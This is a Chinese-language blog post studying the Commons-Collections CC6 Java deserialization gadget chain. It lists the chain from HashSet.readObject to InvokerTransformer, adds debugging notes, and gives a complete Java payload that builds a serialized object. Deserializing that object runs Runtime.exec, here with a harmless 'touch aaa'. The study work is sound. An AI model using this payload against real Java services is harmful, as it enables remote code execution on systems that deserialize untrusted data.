Java反序列化之CC6

CC6

参考:https://www.cnblogs.com/1vxyz/p/17447478.html
环境:jdk8u65 && commons-collections 3.2.1
适用:Commons-collections 3.1-3.2.1 && jdk8u301 jdk11 jdk15 jdk16
sink点还是在InvokerTransformer::transform
实际上是CC1 LazyMap链上的一个变种 通过TiedMapEntry.hashcode()触发LazyMap.get()

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject() ->
java.util.HashSet.readObject() ->
java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.ChainedTransformer.transform() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke() ->
java.lang.reflect.Method.invoke()


看一下LazyMap的get方法 想进入transform方法必须保证map中没有这个key

我们从最后的HashMap.put()入手

我们在之前给lazyMap的fatory属性直接赋了一个ConstantTransformer(1) 走到37行时 map2.put()已经触发了 而map2.put()会带来什么结果呢 实际上就直接到tiedMapEntry.hashcode() -> tiedMapEntry.getValue() -> lazyMap.get("aaa") 然后就是给aaa这个key赋了个Integer(1)
あれ 我的HashSet呢? 调试了挺久的 说实话没看出来到底remove了没有 在进到unserialize之前lazyMap.map.containsKey(“aaa”)一直是true 为什么用序列化数据之后进到LazyMap::get()里之后就是false了呢
用HashMap也是可以的(URLDNS链的入口) 这两个readObejct()都可以导到HashMap::hashCode()
给出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"touch aaa"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");

// HashMap方法
// HashMap<Object,Object> map2 = new HashMap<>();
// map2.put(tiedMapEntry,"bbb");
//本地执行put时,会调用 tiedMapEntry.hashcode lazyMap.get("aaa") 会让lazyMap key不为false

HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);

lazyMap.remove("aaa"); //remove掉put时 lazyMap里的key 使反序列化时能进入transform

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
// 反射修改lazyMap里的factory
// serialize(hashSet);
// unserialize("sercc6.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc6.bin"));
oos.writeObject(o);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();

}
}

Java反序列化之CC6
http://example.com/2025/04/06/Java反序列化之CC6/
作者
Jednersaous
发布于
2025年4月6日
许可协议